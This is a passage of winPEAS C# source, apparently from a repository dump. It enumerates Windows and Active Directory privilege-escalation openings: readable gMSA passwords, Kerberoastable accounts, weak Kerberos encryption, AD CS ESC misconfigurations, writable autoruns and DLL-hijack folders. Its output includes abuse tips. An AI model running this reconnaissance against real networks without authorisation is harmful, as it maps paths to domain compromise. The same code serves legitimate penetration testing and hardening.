    }\n                                catch { /* ignore DN resolution issues */ }\n                            }\n                        }\n\n                        if (canRead)\n                        {\n                            readable++;\n                            Beaprint.BadPrint($\"  You can retrieve managed password for gMSA: {name}  (DN: {dn})\");\n                        }\n                    }\n                }\n\n                if (readable == 0)\n                {\n                    Beaprint.GrayPrint($\"  [-] No gMSA with readable managed password found (checked {total}).\");\n                }\n                else\n                {\n                    Beaprint.GrayPrint($\"  [*] Hint: If such gMSA is member of Builtin\\\\Remote Management Users on a target, WinRM may be allowed.\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        private void PrintKerberoastableServiceAccounts()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Kerberoasting / service ticket risks\", \"T1558.003\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/kerberoast.html\",\n                    \"Enumerate weak SPN accounts and legacy Kerberos crypto\");\n\n                if (!Checks.IsPartOfDomain)\n                {\n                    Beaprint.GrayPrint(\"  [-] Host is not domain-joined. Skipping.\");\n                    return;\n                }\n\n                var defaultNC = GetRootDseProp(\"defaultNamingContext\");\n                if (string.IsNullOrEmpty(defaultNC))\n                {\n                    Beaprint.GrayPrint(\"  [-] Could not resolve defaultNamingContext.\");\n                    return;\n                }\n\n                PrintDomainKerberosDefaults(defaultNC);\n                EnumerateKerberoastCandidates(defaultNC);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"  [-] Kerberoasting check failed: \" + ex.Message);\n            }\n        }\n\n\n        // Detect AD CS misconfigurations\n        private void PrintAdcsMisconfigurations()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"AD CS misconfigurations for ESC\", \"T1649\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates.html\");\n    \n                if (!Checks.IsPartOfDomain)\n                {\n                    Beaprint.GrayPrint(\"  [-] Host is not domain-joined. Skipping.\");\n                    return;\n                }\n\n                Beaprint.InfoPrint(\"Check for ADCS misconfigurations in the local DC registry\");\n                bool IsDomainController = RegistryHelper.GetReg(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Services\\NTDS\")?.ValueCount > 0;\n                if (IsDomainController)\n                {\n                    // For StrongBinding and CertificateMapping, More details in KB014754 - Registry key information:\n                    // https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16\n                    uint? strongBinding = RegistryHelper.GetDwordValue(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Services\\Kdc\", \"StrongCertificateBindingEnforcement\");\n                    switch (strongBinding)\n                    {\n                        case 0: \n                            Beaprint.BadPrint(\"  StrongCertificateBindingEnforcement: 0 — Weak mapping allowed, vulnerable to ESC9.\");\n                            break;\n                        case 2: \n                            Beaprint.GoodPrint(\"  StrongCertificateBindingEnforcement: 2 — Prevents weak UPN/DNS mappings even if SID extension missing, not vulnerable to ESC9.\");\n                            break;\n                        // 1 is default behavior now I think?\n                        case 1:\n                        default: \n                            Beaprint.NoColorPrint($\"  StrongCertificateBindingEnforcement: {strongBinding} — Allow weak mapping if SID extension missing, may be vulnerable to ESC9.\");\n                            break;\n\n                    }  \n\n                    uint? certMapping = RegistryHelper.GetDwordValue(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\", \"CertificateMappingMethods\");\n                    if (certMapping.HasValue && (certMapping & 0x4) != 0)\n                        Beaprint.BadPrint($\"  CertificateMappingMethods: {certMapping} — Allow UPN-based mapping, vulnerable to ESC10.\");\n                    else if(certMapping.HasValue && ((certMapping & 0x1) != 0 || (certMapping & 0x2) != 0))\n                        Beaprint.NoColorPrint($\"  CertificateMappingMethods: {certMapping} — Allow weak Subject/Issuer certificate mapping.\");\n                    // 0x18 (strong mapping) is default behavior if not the flags above I think?\n                    else\n                        Beaprint.GoodPrint($\"  CertificateMappingMethods: {certMapping} — Strong Certificate mapping enabled.\");\n\n                    // We take the Active CA, can they be several?\n                    string caName = RegistryHelper.GetRegValue(\"HKLM\", $@\"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\", \"Active\");\n                    if (!string.IsNullOrWhiteSpace(caName))\n                    {\n                        // Obscure Source for InterfaceFlag Enum:\n                        // https://www.sysadmins.lv/apidocs/pki/html/T_PKI_CertificateServices_Flags_InterfaceFlagEnum.htm\n                        uint? interfaceFlags = RegistryHelper.GetDwordValue(\"HKLM\", $@\"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{caName}\", \"InterfaceFlags\");\n                        if (!interfaceFlags.HasValue || (interfaceFlags & 512) == 0)\n                            Beaprint.BadPrint(\"  IF_ENFORCEENCRYPTICERTREQUEST not set in InterfaceFlags — vulnerable to ESC11.\");\n                        else\n                            Beaprint.GoodPrint(\"  IF_ENFORCEENCRYPTICERTREQUEST set in InterfaceFlags — not vulnerable to ESC11.\");\n\n                        string policyModule = RegistryHelper.GetRegValue(\"HKLM\", $@\"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{caName}\\PolicyModules\", \"Active\");\n                        if (!string.IsNullOrWhiteSpace(policyModule))\n                        {\n                            string disableExtensionList = RegistryHelper.GetRegValue(\"HKLM\", $@\"SYSTEM\\CurrentControlSet\\Services\\CertSvc\\Configuration\\{caName}\\PolicyModules\\{policyModule}\", \"DisableExtensionList\");\n                            // zOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) \n                            if (disableExtensionList?.Contains(\"1.3.6.1.4.1.311.25.2\") == true)\n                                Beaprint.BadPrint(\"  szOID_NTDS_CA_SECURITY_EXT disabled for the entire CA — vulnerable to ESC16.\");\n                            else\n                                Beaprint.GoodPrint(\"  szOID_NTDS_CA_SECURITY_EXT not disabled for the CA — not vulnerable to ESC16.\");\n                        }\n                        else\n                        {\n                            Beaprint.GrayPrint(\"  [-] Policy Module not found. Skipping.\");\n                        }\n                    }\n                    else\n                    {\n                        Beaprint.GrayPrint(\"  [-] Certificate Authority not found. Skipping.\");\n                    }\n                }\n                else\n                {\n                    Beaprint.GrayPrint(\"  [-] Host is not a domain controller. Skipping ADCS Registry check\");\n                }\n\n                // Detect AD CS certificate templates where current principal has dangerous control rights(ESC4 - style)\n                Beaprint.InfoPrint(\"\\nIf you can modify a template (WriteDacl/WriteOwner/GenericAll), you can abuse ESC4\");\n                var configNC = GetRootDseProp(\"configurationNamingContext\");\n                if (string.IsNullOrEmpty(configNC))\n                {\n                    Beaprint.GrayPrint(\"  [-] Could not resolve configurationNamingContext.\");\n                    return;\n                }\n\n                var currentSidSet = GetCurrentSidSet();\n                int checkedTemplates = 0;\n                int vulnerable = 0;\n\n                var templatesDn = $\"LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,{configNC}\";\n\n                using (var deBase = new DirectoryEntry(templatesDn))\n                using (var ds = new DirectorySearcher(deBase))\n                {\n                    ds.PageSize = 300;\n                    ds.Filter = \"(objectClass=pKICertificateTemplate)\";\n                    ds.PropertiesToLoad.Add(\"cn\");\n\n                    foreach (SearchResult r in ds.FindAll())\n                    {\n                        checkedTemplates++;\n                        string templateCn = GetProp(r, \"cn\") ?? \"<unknown>\";\n\n                        // Fetch security descriptor (DACL)\n                        DirectoryEntry de = null;\n                        try\n                        {\n                            de = r.GetDirectoryEntry();\n                            de.Options.SecurityMasks = SecurityMasks.Dacl;\n                            de.RefreshCache(new[] { \"ntSecurityDescriptor\" });\n                        }\n                        catch (Exception)\n                        {\n                            de?.Dispose();\n                            continue;\n                        }\n\n                        try\n                        {\n                            var sd = de.ObjectSecurity; // ActiveDirectorySecurity\n                            var rules = sd.GetAccessRules(true, true, typeof(SecurityIdentifier));\n                            bool hit = false;\n                            var hitRights = new HashSet<string>();\n\n                            foreach (ActiveDirectoryAccessRule rule in rules)\n                            {\n                                if (rule.AccessControlType != AccessControlType.Allow) continue;\n                                var sid = (rule.IdentityReference as SecurityIdentifier)?.Value;\n                                if (string.IsNullOrEmpty(sid)) continue;\n                                if (!currentSidSet.Contains(sid)) continue;\n\n                                var rights = rule.ActiveDirectoryRights;\n                                bool dangerous =\n                                    rights.HasFlag(ActiveDirectoryRights.GenericAll) ||\n                                    rights.HasFlag(ActiveDirectoryRights.WriteDacl) ||\n                                    rights.HasFlag(ActiveDirectoryRights.WriteOwner) ||\n                                    rights.HasFlag(ActiveDirectoryRights.WriteProperty) ||\n                                    rights.HasFlag(ActiveDirectoryRights.ExtendedRight);\n\n                                if (dangerous)\n                                {\n                                    hit = true;\n                                    if (rights.HasFlag(ActiveDirectoryRights.GenericAll)) hitRights.Add(\"GenericAll\");\n                                    if (rights.HasFlag(ActiveDirectoryRights.WriteDacl)) hitRights.Add(\"WriteDacl\");\n                                    if (rights.HasFlag(ActiveDirectoryRights.WriteOwner)) hitRights.Add(\"WriteOwner\");\n                                    if (rights.HasFlag(ActiveDirectoryRights.WriteProperty)) hitRights.Add(\"WriteProperty\");\n                                    if (rights.HasFlag(ActiveDirectoryRights.ExtendedRight)) hitRights.Add(\"ExtendedRight\");\n                                }\n                            }\n\n                            if (hit)\n                            {\n                                vulnerable++;\n                                Beaprint.BadPrint($\"  Dangerous rights over template: {templateCn}  (Rights: {string.Join(\",\", hitRights)})\");\n                            }\n                        }\n                        catch (Exception)\n                        {\n                            // ignore templates we couldn't read\n                        }\n                        finally\n                        {\n                            de?.Dispose();\n                        }\n                    }\n                }\n\n                if (vulnerable == 0)\n                {\n                    Beaprint.GrayPrint($\"  [-] No templates with dangerous rights found (checked {checkedTemplates}).\");\n                }\n                else\n                {\n                    Beaprint.GrayPrint(\"  [*] Tip: Abuse with tools like Certipy (template write -> ESC1 -> enroll).\");\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n        private void PrintDomainKerberosDefaults(string defaultNc)\n        {\n            try\n            {\n                using (var domainEntry = new DirectoryEntry(\"LDAP://\" + defaultNc))\n                {\n                    var encValue = GetDirectoryEntryInt(domainEntry, \"msDS-DefaultSupportedEncryptionTypes\");\n                    if (encValue.HasValue)\n                    {\n                        var desc = DescribeEncTypes(encValue);\n                        if (IsRc4Allowed(encValue))\n                            Beaprint.BadPrint($\"  Domain default supported encryption types: {desc} — RC4/NT hash tickets allowed.\");\n                        else\n                            Beaprint.GoodPrint($\"  Domain default supported encryption types: {desc} — RC4 disabled.\");\n                    }\n                    else\n                    {\n                        Beaprint.GrayPrint(\"  [-] Domain default supported encryption types not set (legacy compatibility defaults to RC4).\");\n                    }\n                }\n\n                using (var baseDe = new DirectoryEntry(\"LDAP://\" + defaultNc))\n                using (var ds = new DirectorySearcher(baseDe))\n                {\n                    ds.Filter = \"(&(objectClass=user)(sAMAccountName=krbtgt))\";\n                    ds.PropertiesToLoad.Add(\"msDS-SupportedEncryptionTypes\");\n                    var result = ds.FindOne();\n                    if (result != null)\n                    {\n                        var encValue = GetIntProp(result, \"msDS-SupportedEncryptionTypes\");\n                        if (encValue.HasValue)\n                        {\n                            var desc = DescribeEncTypes(encValue);\n                            if (IsRc4Allowed(encValue))\n                                Beaprint.BadPrint($\"  krbtgt supports: {desc} — RC4 TGTs can still be issued.\");\n                            else\n                                Beaprint.GoodPrint($\"  krbtgt supports: {desc}.\");\n                        }\n                        else\n                        {\n                            Beaprint.GrayPrint(\"  [-] krbtgt enc types inherit domain defaults (unspecified).\");\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"  [-] Unable to query Kerberos defaults: \" + ex.Message);\n            }\n        }\n\n        private void EnumerateKerberoastCandidates(string defaultNc)\n        {\n            int checkedAccounts = 0;\n            int highTotal = 0;\n            int mediumTotal = 0;\n            var high = new List<KerberoastCandidate>();\n            var medium = new List<KerberoastCandidate>();\n\n            try\n            {\n                using (var baseDe = new DirectoryEntry(\"LDAP://\" + defaultNc))\n                using (var ds = new DirectorySearcher(baseDe))\n                {\n                    ds.PageSize = 500;\n                    ds.Filter = \"(servicePrincipalName=*)\";\n                    ds.PropertiesToLoad.Add(\"sAMAccountName\");\n                    ds.PropertiesToLoad.Add(\"displayName\");\n                    ds.PropertiesToLoad.Add(\"distinguishedName\");\n                    ds.PropertiesToLoad.Add(\"servicePrincipalName\");\n                    ds.PropertiesToLoad.Add(\"msDS-SupportedEncryptionTypes\");\n                    ds.PropertiesToLoad.Add(\"userAccountControl\");\n                    ds.PropertiesToLoad.Add(\"pwdLastSet\");\n                    ds.PropertiesToLoad.Add(\"memberOf\");\n                    ds.PropertiesToLoad.Add(\"objectClass\");\n\n                    foreach (SearchResult r in ds.FindAll())\n                    {\n                        checkedAccounts++;\n                        var candidate = BuildKerberoastCandidate(r);\n                        if (candidate == null)\n                        {\n                            continue;\n                        }\n\n                        if (candidate.IsHighRisk)\n                        {\n                            highTotal++;\n                            if (high.Count < 15) high.Add(candidate);\n                        }\n                        else\n                        {\n                            mediumTotal++;\n                            if (medium.Count < 12) medium.Add(candidate);\n                        }\n                    }\n                }\n\n                Beaprint.InfoPrint($\"Checked {checkedAccounts} SPN-bearing accounts. High-risk RC4/privileged targets: {highTotal}, long-lived AES-only targets: {mediumTotal}.\");\n\n                if (highTotal == 0 && mediumTotal == 0)\n                {\n                    Beaprint.GoodPrint(\"  No obvious Kerberoastable service accounts detected with current visibility.\");\n                    return;\n                }\n\n                if (high.Count > 0)\n                {\n                    Beaprint.BadPrint(\"  [!] RC4-enabled or privileged SPN accounts:\");\n                    foreach (var c in high)\n                    {\n                        Beaprint.ColorPrint($\"      - {c.Label} | SPNs: {c.SpnSummary} | Enc: {c.Encryption} | {c.Reason}\", Beaprint.LRED);\n                    }\n                    if (highTotal > high.Count)\n                    {\n                        Beaprint.GrayPrint($\"      ... {highTotal - high.Count} additional high-risk accounts omitted.\");\n                    }\n                }\n\n                if (medium.Count > 0)\n                {\n                    Beaprint.ColorPrint(\"  [~] Long-lived SPN accounts (still Kerberoastable via AES tickets):\", Beaprint.YELLOW);\n                    foreach (var c in medium)\n                    {\n                        Beaprint.ColorPrint($\"      - {c.Label} | SPNs: {c.SpnSummary} | Enc: {c.Encryption} | {c.Reason}\", Beaprint.YELLOW);\n                    }\n                    if (mediumTotal > medium.Count)\n                    {\n                        Beaprint.GrayPrint($\"      ... {mediumTotal - medium.Count} additional medium-risk accounts omitted.\");\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"  [-] LDAP error while enumerating SPNs: \" + ex.Message);\n            }\n        }\n\n        private KerberoastCandidate BuildKerberoastCandidate(SearchResult r)\n        {\n            var sam = GetProp(r, \"sAMAccountName\");\n            var displayName = GetProp(r, \"displayName\");\n            var dn = GetProp(r, \"distinguishedName\");\n\n            if (IsComputerObject(r) || IsManagedServiceAccount(r))\n                return null;\n\n            var uac = GetIntProp(r, \"userAccountControl\");\n            if (uac.HasValue && (uac.Value & 0x2) != 0)\n                return null;\n\n            var encValue = GetIntProp(r, \"msDS-SupportedEncryptionTypes\");\n            bool rc4Allowed = IsRc4Allowed(encValue);\n            bool aesPresent = HasAes(encValue);\n            bool passwordNeverExpires = uac.HasValue && (uac.Value & 0x10000) != 0;\n            DateTime? pwdLastSet = GetFileTimeProp(r, \"pwdLastSet\");\n            bool stalePassword = pwdLastSet.HasValue && pwdLastSet.Value < DateTime.UtcNow.AddDays(-365);\n            var privilegeHits = GetPrivilegedGroups(r);\n            var reasons = new List<string>();\n\n            if (rc4Allowed)\n                reasons.Add(\"RC4 allowed\");\n            else if (!aesPresent)\n                reasons.Add(\"No AES flag\");\n            if (passwordNeverExpires)\n                reasons.Add(\"PasswordNeverExpires\");\n            if (stalePassword)\n                reasons.Add(\"PwdLastSet \" + pwdLastSet.Value.ToString(\"yyyy-MM-dd\"));\n            if (privilegeHits.Count > 0)\n                reasons.Add(\"Privileged: \" + string.Join(\"/\", privilegeHits));\n\n            if (reasons.Count == 0)\n                return null;\n\n            bool isHigh = rc4Allowed || privilegeHits.Count > 0;\n            if (!isHigh && !(passwordNeverExpires || stalePassword))\n                return null;\n\n            var label = !string.IsNullOrEmpty(sam) ? sam : dn;\n            if (!string.IsNullOrEmpty(displayName) && !string.Equals(displayName, sam, StringComparison.OrdinalIgnoreCase))\n            {\n                label = string.IsNullOrEmpty(sam) ? displayName : $\"{sam} ({displayName})\";\n            }\n\n            return new KerberoastCandidate\n            {\n                Label = label ?? \"<unknown>\",\n                SpnSummary = BuildSpnSummary(r),\n                Encryption = DescribeEncTypes(encValue),\n                Reason = string.Join(\"; \", reasons),\n                IsHighRisk = isHigh\n            };\n        }\n\n        private static string BuildSpnSummary(SearchResult r)\n        {\n            if (!r.Properties.Contains(\"servicePrincipalName\") || r.Properties[\"servicePrincipalName\"].Count == 0)\n                return \"<none>\";\n\n            var values = r.Properties[\"servicePrincipalName\"];\n            var list = new List<string>();\n            int limit = values.Count < 3 ? values.Count : 3;\n            for (int i = 0; i < limit; i++)\n            {\n                var spn = values[i]?.ToString();\n                if (!string.IsNullOrEmpty(spn))\n                    list.Add(spn);\n            }\n\n            string summary = list.Count > 0 ? string.Join(\", \", list) : \"<none>\";\n            if (values.Count > limit)\n                summary += $\" (+{values.Count - limit} more)\";\n            return summary;\n        }\n\n        private static List<string> GetPrivilegedGroups(SearchResult r)\n        {\n            var hits = new List<string>();\n            if (!r.Properties.Contains(\"memberOf\"))\n                return hits;\n\n            var memberships = r.Properties[\"memberOf\"];\n            foreach (var membership in memberships)\n            {\n                var cn = ExtractCn(membership?.ToString());\n                if (string.IsNullOrEmpty(cn))\n                    continue;\n\n                foreach (var keyword in PrivilegedGroupKeywords)\n                {\n                    if (cn.IndexOf(keyword, StringComparison.OrdinalIgnoreCase) >= 0)\n                    {\n                        if (!hits.Contains(cn))\n                            hits.Add(cn);\n                        break;\n                    }\n                }\n            }\n            return hits;\n        }\n\n        private static string ExtractCn(string dn)\n        {\n            if (string.IsNullOrEmpty(dn))\n                return null;\n\n            var parts = dn.Split(',');\n            foreach (var part in parts)\n            {\n                var trimmed = part.Trim();\n                if (trimmed.StartsWith(\"CN=\", StringComparison.OrdinalIgnoreCase))\n                    return trimmed.Substring(3);\n            }\n            return dn;\n        }\n\n        private static bool IsComputerObject(SearchResult r)\n        {\n            return HasObjectClass(r, \"computer\");\n        }\n\n        private static bool IsManagedServiceAccount(SearchResult r)\n        {\n            return HasObjectClass(r, \"msDS-ManagedServiceAccount\") || HasObjectClass(r, \"msDS-GroupManagedServiceAccount\");\n        }\n\n        private static bool HasObjectClass(SearchResult r, string className)\n        {\n            if (!r.Properties.Contains(\"objectClass\"))\n                return false;\n\n            foreach (var val in r.Properties[\"objectClass\"])\n            {\n                if (string.Equals(val?.ToString(), className, StringComparison.OrdinalIgnoreCase))\n                    return true;\n            }\n            return false;\n        }\n\n        private static DateTime? GetFileTimeProp(SearchResult r, string propName)\n        {\n            if (!r.Properties.Contains(propName) || r.Properties[propName].Count == 0)\n                return null;\n            return ConvertFileTime(r.Properties[propName][0]);\n        }\n\n        private static DateTime? ConvertFileTime(object value)\n        {\n            if (value == null)\n                return null;\n            try\n            {\n                if (value is long longVal)\n                {\n                    if (longVal <= 0) return null;\n                    return DateTime.FromFileTimeUtc(longVal);\n                }\n\n                if (value is IConvertible convertible)\n                {\n                    long converted = convertible.ToInt64(null);\n                    if (converted > 0)\n                        return DateTime.FromFileTimeUtc(converted);\n                }\n\n                var type = value.GetType();\n                var highProp = type.GetProperty(\"HighPart\", BindingFlags.Public | BindingFlags.Instance);\n                var lowProp = type.GetProperty(\"LowPart\", BindingFlags.Public | BindingFlags.Instance);\n                if (highProp != null && lowProp != null)\n                {\n                    int high = Convert.ToInt32(highProp.GetValue(value, null));\n                    int low = Convert.ToInt32(lowProp.GetValue(value, null));\n                    long fileTime = ((long)high << 32) | (uint)low;\n                    if (fileTime > 0)\n                        return DateTime.FromFileTimeUtc(fileTime);\n                }\n            }\n            catch\n            {\n                return null;\n            }\n            return null;\n        }\n\n        private static int? GetIntProp(SearchResult r, string name)\n        {\n            if (!r.Properties.Contains(name) || r.Properties[name].Count == 0)\n                return null;\n            return ConvertToNullableInt(r.Properties[name][0]);\n        }\n\n        private static int? GetDirectoryEntryInt(DirectoryEntry entry, string name)\n        {\n            try\n            {\n                return ConvertToNullableInt(entry.Properties[name]?.Value);\n            }\n            catch\n            {\n                return null;\n            }\n        }\n\n        private static int? ConvertToNullableInt(object value)\n        {\n            if (value == null)\n                return null;\n            if (value is int intValue)\n                return intValue;\n            if (value is long longValue)\n                return unchecked((int)longValue);\n            if (int.TryParse(value.ToString(), out var parsed))\n                return parsed;\n            return null;\n        }\n\n        private static bool IsRc4Allowed(int? encValue)\n        {\n            if (!encValue.HasValue || encValue.Value == 0)\n                return true;\n            return (encValue.Value & EncFlagRc4) != 0;\n        }\n\n        private static bool HasAes(int? encValue)\n        {\n            if (!encValue.HasValue)\n                return false;\n            return (encValue.Value & (EncFlagAes128 | EncFlagAes256)) != 0;\n        }\n\n        private static string DescribeEncTypes(int? encValue)\n        {\n            if (!encValue.HasValue || encValue.Value == 0)\n                return \"Unspecified (inherits defaults / RC4 compatible)\";\n\n            var parts = new List<string>();\n            if ((encValue.Value & EncFlagDesCrc) != 0) parts.Add(\"DES-CBC-CRC\");\n            if ((encValue.Value & EncFlagDesMd5) != 0) parts.Add(\"DES-CBC-MD5\");\n            if ((encValue.Value & EncFlagRc4) != 0) parts.Add(\"RC4-HMAC\");\n            if ((encValue.Value & EncFlagAes128) != 0) parts.Add(\"AES128\");\n            if ((encValue.Value & EncFlagAes256) != 0) parts.Add(\"AES256\");\n            if ((encValue.Value & 0x20) != 0) parts.Add(\"FAST\");\n            if (parts.Count == 0) parts.Add($\"0x{encValue.Value:X}\");\n            return string.Join(\", \", parts);\n        }\n\n        private class KerberoastCandidate\n        {\n            public string Label { get; set; }\n            public string SpnSummary { get; set; }\n            public string Encryption { get; set; }\n            public string Reason { get; set; }\n            public bool IsHighRisk { get; set; }\n        }\n\n        private static readonly string[] PrivilegedGroupKeywords = new[]\n        {\n            \"Domain Admin\",\n            \"Enterprise Admin\",\n            \"Administrators\",\n            \"Exchange\",\n            \"Schema Admin\",\n            \"Account Operator\",\n            \"Server Operator\",\n            \"Backup Operator\",\n            \"DnsAdmin\"\n        };\n\n        private const int EncFlagDesCrc = 0x1;\n        private const int EncFlagDesMd5 = 0x2;\n        private const int EncFlagRc4 = 0x4;\n        private const int EncFlagAes128 = 0x8;\n        private const int EncFlagAes256 = 0x10;\n\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/ApplicationsInfo.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing winPEAS.Helpers;\nusing winPEAS.Info.ApplicationInfo;\n\nnamespace winPEAS.Checks\n{\n    internal class ApplicationsInfo : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1518\", \"T1547.001\", \"T1053.005\", \"T1010\", \"T1014\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Applications Information\", \"T1518,T1547.001,T1053.005,T1010,T1014\");\n\n            new List<Action>\n            {\n                PrintActiveWindow,\n                PrintInstalledApps,\n                PrintAutoRuns,\n                PrintScheduled,\n                PrintDeviceDrivers,\n            }.ForEach(action => CheckRunner.Run(action, isDebug));\n        }\n\n        void PrintActiveWindow()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Current Active Window Application\", \"T1010\");\n                string title = ApplicationInfoHelper.GetActiveWindowTitle();\n                List<string> permsFile = PermissionsHelper.GetPermissionsFile(title, Checks.CurrentUserSiDs);\n                List<string> permsFolder = PermissionsHelper.GetPermissionsFolder(title, Checks.CurrentUserSiDs);\n                if (permsFile.Count > 0)\n                {\n                    Beaprint.BadPrint(\"    \" + title);\n                    Beaprint.BadPrint(\"    File Permissions: \" + string.Join(\",\", permsFile));\n                }\n                else\n                {\n                    Beaprint.GoodPrint(\"    \" + title);\n                }\n\n                if (permsFolder.Count > 0)\n                {\n                    Beaprint.BadPrint(\"    Possible DLL Hijacking, folder is writable: \" + PermissionsHelper.GetFolderFromString(title));\n                    Beaprint.BadPrint(\"    Folder Permissions: \" + string.Join(\",\", permsFile));\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintInstalledApps()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Installed Applications --Via Program Files/Uninstall registry--\", \"T1518\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#applications\", \"Check if you can modify installed software\");\n                SortedDictionary<string, Dictionary<string, string>> installedAppsPerms = InstalledApps.GetInstalledAppsPerms();\n                string format = \"    ==>  {0} ({1})\";\n\n                foreach (KeyValuePair<string, Dictionary<string, string>> app in installedAppsPerms)\n                {\n                    if (string.IsNullOrEmpty(app.Value.ToString())) //If empty, nothing found, is good\n                    {\n                        Beaprint.GoodPrint(app.Key);\n                    }\n                    else //Then, we need to look deeper\n                    {\n                        //Checkeamos si la carpeta (que va a existir como subvalor dentro de si misma) debe ser good\n                        if (string.IsNullOrEmpty(app.Value[app.Key]))\n                        {\n                            Beaprint.GoodPrint(\"    \" + app.Key);\n                        }\n                        else\n                        {\n                            Beaprint.BadPrint(string.Format(\"    {0}({1})\", app.Key, app.Value[app.Key]));\n                            app.Value[app.Key] = \"\"; //So no reprinted later\n                        }\n\n                        //Check the rest of the values to see if we have something to print in red (permissions)\n                        foreach (KeyValuePair<string, string> subfolder in app.Value)\n                        {\n                            if (!string.IsNullOrEmpty(subfolder.Value))\n                            {\n                                Beaprint.BadPrint(string.Format(format, subfolder.Key, subfolder.Value));\n                            }\n                        }\n                    }\n                }\n                Console.WriteLine();\n            }\n            catch (Exception e)\n            {\n                Beaprint.PrintException(e.Message);\n            }\n        }\n\n        private static void PrintAutoRuns()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Autorun Applications\", \"T1547.001\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html\", \"Check if you can modify other users AutoRuns binaries (Note that is normal that you can modify HKCU registry and binaries indicated there)\");\n                List<Dictionary<string, string>> apps = AutoRuns.GetAutoRuns(Checks.CurrentUserSiDs);\n\n                foreach (Dictionary<string, string> app in apps)\n                {\n                    var colorsA = new Dictionary<string, string>\n                        {\n                            { \"FolderPerms:.*\", Beaprint.ansi_color_bad },\n                            { \"FilePerms:.*\", Beaprint.ansi_color_bad },\n                            { \"(Unquoted and Space detected)\", Beaprint.ansi_color_bad },\n                            { \"(PATH Injection)\", Beaprint.ansi_color_bad },\n                            { \"RegPerms: .*\", Beaprint.ansi_color_bad },\n                            { (app[\"Folder\"].Length > 0) ? app[\"Folder\"].Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\",\"\\\\+\") : \"ouigyevb2uivydi2u3id2ddf3\", !string.IsNullOrEmpty(app[\"interestingFolderRights\"]) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good },\n                            { (app[\"File\"].Length > 0) ? app[\"File\"].Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\",\"\\\\+\") : \"adu8v298hfubibuidiy2422r\", !string.IsNullOrEmpty(app[\"interestingFileRights\"]) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good },\n                            { (app[\"Reg\"].Length > 0) ? app[\"Reg\"].Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\",\"\\\\+\") : \"o8a7eduia37ibduaunbf7a4g7ukdhk4ua\", (app[\"RegPermissions\"].Length > 0) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good },\n                            { \"Potentially sensitive file content:\", Beaprint.ansi_color_bad },\n                        };\n                    string line = \"\";\n\n                    if (!string.IsNullOrEmpty(app[\"Reg\"]))\n                    {\n                        line += \"\\n    RegPath: \" + app[\"Reg\"];\n                    }\n\n                    if (app[\"RegPermissions\"].Length > 0)\n                    {\n                        line += \"\\n    RegPerms: \" + app[\"RegPermissions\"];\n                    }\n\n                    if (!string.IsNullOrEmpty(app[\"RegKey\"]))\n                    {\n                        line += \"\\n    Key: \" + app[\"RegKey\"];\n                    }\n\n                    if (!string.IsNullOrEmpty(app[\"Folder\"]))\n                    {\n                        line += \"\\n    Folder: \" + app[\"Folder\"];\n                    }\n                    else\n                    {\n                        if (!string.IsNullOrEmpty(app[\"Reg\"]))\n                        {\n                            line += \"\\n    Folder: None (PATH Injection)\";\n                        }\n                    }\n\n                    if (!string.IsNullOrEmpty(app[\"interestingFolderRights\"]))\n                    {\n                        line += \"\\n    FolderPerms: \" + app[\"interestingFolderRights\"];\n                    }\n\n                    string filepath_mod = app[\"File\"].Replace(\"\\\"\", \"\").Replace(\"'\", \"\");\n                    if (!string.IsNullOrEmpty(app[\"File\"]))\n                    {\n                        line += \"\\n    File: \" + filepath_mod;\n                    }\n\n                    if (app[\"isUnquotedSpaced\"].ToLower() != \"false\")\n                    {\n                        line += $\" (Unquoted and Space detected) 